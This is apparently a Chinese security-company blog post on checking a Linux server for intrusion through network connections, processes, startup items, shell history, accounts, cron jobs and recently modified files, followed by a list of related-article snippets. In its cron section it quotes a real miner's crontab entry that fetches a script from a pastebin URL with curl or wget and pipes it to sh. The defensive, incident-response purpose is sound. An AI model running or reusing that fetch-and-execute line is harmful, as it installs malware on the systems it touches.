很多客户网站服务器被入侵,被攻击,找到我们SINE安全公司寻求技术支持与帮助,有些网站被篡改,被跳转,首页内容被替换,服务器植入木马后门,服务器卡顿,服务器异常网络连接,有的客户使用的是阿里云服务器,经常被提醒服务器有挖矿程序,以及网站被上传webshell的安全提醒,包括腾讯云提示服务器有木马文件,客户网站被攻击的第一时间,是需要立即处理的,降损失降到最低,让网站恢复正常的访问,由于每个客户找到我们SINE安全都是比较着急的,安全的处理时间也需要尽快的处理,根据我们的处理经验,我们总结了一些服务器被攻击,被黑的排查办法,专门用来检查服务器第一时间的安全问题,看发生在哪里,服务器是否被黑,是否被攻击,那些被篡改等等。

如何排查服务器被攻击?

首先我们会对当前服务器的IP,以及IP的地址,linux服务器名称,服务器的版本是centos,还是redhat,服务器的当前时间,进行收集并记录到一个txt文档里,接下来再执行下一步,对当前服务器的异常网络连接以及异常的系统进程检查,主要是通过netstat -an以及-antp命令来检查服务器存在哪些异常的IP连接。并对连接的IP,进行归属地查询,如果是国外的IP,直接记录当前进程的PID值,并自动将PID的所有信息记录,查询PID所在的linux文件地址,紧接着检查当前占用CPU大于百分之30的进程,并检查该进程所在的文件夹。

在我们处理客户服务器被攻击的时候发现很多服务器的命令被篡改,比如正常的PS查看进程的,查询目录的 cd的命令都给篡改了,让服务器无法正常使用命令,检查服务器安全造成了困扰。对服务器的启动项进行检查,有些服务器被植入木马后门,即使重启服务器也还是被攻击,木马会自动的启动,检查linux的init.d的文件夹里是否有多余的启动文件,也可以检查时间,来判断启动项是否有问题。

再一个要检查的地方是服务器的历史命令,history很多服务器被黑都会留下痕迹,比如SSH登录服务器后,攻击者对服务器进行了操作,执行了那些恶意命令都可以通过history查询的到,有没有使用wget命令下载木马,或者执行SH文件。检查服务器的所有账号,以及当前使用并登录的管理员账户,tty是本地用户登录,pst是远程连接的用户登录,来排查服务器是否被黑,被攻击,也可以检查login.defs文件的uid值,判断uid的passwd来获取最近新建的管理员账户。执行cat etc/passwd命令检查是否存在异常的用户账户,包括特权账户,UID值为0.

最重要的是检查服务器的定时任务,前段时间某网站客户中了挖矿病毒,一直占用CPU,查看了定时任务发现每15分钟自动执行下载命令,crontab -l */15 * * * * (curl -fsSL https://pastebin.com/raw/TS4NeUnd||wget -q-O- https://pastebin.com/raw/TS4NeUnd)|sh 代码如上,自动下载并执行SH木马文件。定时任务删都删不掉,最后通过检查系统文件查到了木马,并终止进程,强制删除。有些服务器被黑后,请立即检查2天里被修改的文件,可以通过find命令去检查所有的文件,看是否有木马后门文件,如果有可以确定服务器被黑了。

以上就是服务器被入侵攻击的检查办法,通过我们SINE安全给出的检查步骤,挨个去检查,就会发现出问题,最重要的是要检查日志,对这些日志要仔细的检查,哪怕一个特征都会导致服务器陷入被黑,被攻击的状态,也希望我们的分享能够帮助到更多需要帮助的人,服务器安全了,带来的也是整个互联网的安全。

怎么知道网站是否被黑 服务器是否被入侵呢相关推荐

  1. 网站被挂黑链会引起哪些后果

    SEO 优化行业一个新兴的赚钱行业,这个行业越来越发达了,从事这个行业的人似乎从来都没有如今这么多,出售黑链的朋友到处都是,在比较出名的几个站长工具网站里,到处是出售黑链的广告,至于他们的黑链是怎么得 ...

  2. 如何预防网站被挂黑链?

    一.网站被挂黑链是什么意思 网站被挂黑链,通常就是黑客利用网站程序或者是语言脚本解释的漏洞上传一些可以直接对站点文件进行修改的脚本木马,然后通过web形式去访问那个脚本木马来实现对当前的网站文件进行修 ...

  3. 网站上传到服务器mysql数据库,网站上传到服务器mysql数据库吗

    网站上传到服务器mysql数据库吗 内容精选 换一换 安装MySQL本文档以"CentOS 6.5 64bit(40GB)"操作系统为例,对应MySQL版本为5.1.73.Cent ...

  4. 部署虚拟服务器,把网站部署到虚拟服务器

    把网站部署到虚拟服务器 ·把网站部署到虚拟服务器 当然,这里指的搭建网站并非教大家如何去设计网站,而是通过现有的一些免费资源来进行网站搭建,如果您自己懂Dreamwaver,能够独立制作网站的话,那肯 ...

  5. win32 c++源码大全_网站源码,服务器,域名三者是什么关系?

    一个完全的网站离不开三大件,分别是:网站源码,服务器,域名.服务器就是用来在后台存储网站数据并支撑运行的平台,当程序员把一个网站的源码写出来以后,需要先把源码上传到服务器,然后在服务器上绑定域名,并把 ...

  6. ASP.NET Core 网站发布到Linux服务器

    长期以来,使用.NET开发的应用只能运行在Windows平台上面,而目前国内蓬勃发展的互联网公司由于成本的考虑,大量使用免费的Linux平台,这就使得.NET空有一身绝技但无法得到广大的施展空间,.N ...

  7. 网站需要数据库服务器吗,网站需要独立的服务器数据库吗

    网站需要独立的服务器数据库吗 内容精选 换一换 文档数据库服务提供使用数据管理服务(Data Admin Service,简称DAS).内网和公网的连接方式.文档数据库服务默认为您开通了远程主机登录权 ...

  8. 网站部署到云服务器需要哪些文件,云服务器能部署哪些应用?怎么部署?

    云技术的应用十分广泛,其中之一体现在云服务器的使用上,凭借更加简单的操作与便利等优势,云服务器可谓深受众多企业青睐. 但许多站长对它的运行模式不太了解,也可能只知道放置网站这一作用.但其实云服务的模式 ...

  9. 云服务器里可以放多少网站,一台云服务器上可以放多少个网站

    一台云服务器上可以放多少个网站 内容精选 换一换 云耀云服务器(Halo Elastic Cloud Server,HECS)是可以快速搭建简单应用的新一代云服务器,具备独立.完整的操作系统和网络功能 ...

  10. 服务器搭建个人网站(阿里云服务器)

    服务器搭建个人网站 一丶购买服务器 这里我选的是阿里云服务器,进入阿里云官网阿里云-上云就上阿里云 阿里云提供了几种服务器,云服务器ESC.轻量应用服务器,ESC更好一点儿,我选了轻量级应用服务器.购 ...

最新文章

  1. Java获取Mybatis动态生成的sql
  2. Unix平台上OUI启动常见问题
  3. LeetCode(867)——转置矩阵(JavaScript)
  4. Android-JNI开发系列《九》实战-Bitmap处理实现底片灰度化黑白化暖冷色调等效果
  5. EXCEL中,函数中的双引号如何表示?
  6. Wordpress网站渗透测试(进阶详细思路)
  7. 关于小米Ruby15.6笔记本驱动黑苹果博通蓝牙的补充
  8. matlab 频率分辨率,功率谱、频率分辨率、频谱泄漏与窗函数
  9. 基于Leaflet 的Web地图客户端应用程序开发框架
  10. 统计 fastq 文件 q20 , GC 含量的软件
  11. notimplementedexception
  12. 【Echart】在百度地图中实现飞机航线效果
  13. 一道被前端忽略的基础题,不信看你会几题
  14. 西门子bop20显示电流_SIEMENS/西门子BOP20基本操作员面板使用方法说明
  15. 如何在虚拟机中运行知乎App
  16. Cat3.0.0监控本地部署+springboot接入cat例子
  17. OpenCV算法加速(2)使用SIMD指令集(MMX、SSE、AVX)和MIPP实现视觉算法优化
  18. com.sun.jersey.api.client.ClientHandlerException: java.net.UnknownHostException: eureka8001
  19. YOLOV7调试的bug
  20. 单层感知机实现布尔函数,附代码

热门文章

  1. html中siblings方法,jQuery中siblings()方法用法实例
  2. DCGAN生成动漫人物头像---pytroch版
  3. 辛苦开发的 App 被山寨?mPaaS 帮你为 APK 上把加固锁
  4. 读《所谓情商高,就是会说话》笔记
  5. 软著申请全流程图文解析与注意事项
  6. 武林传奇之七剑下天山java游戏开发商_武林传奇2 之七剑下天山的配方
  7. HALCON算子函数总结(中)
  8. google全屏快捷方式 关键字 kiosk
  9. java获取融云token、并实现群组聊天、管理等后台接口示例
  10. AQS: CLH 介绍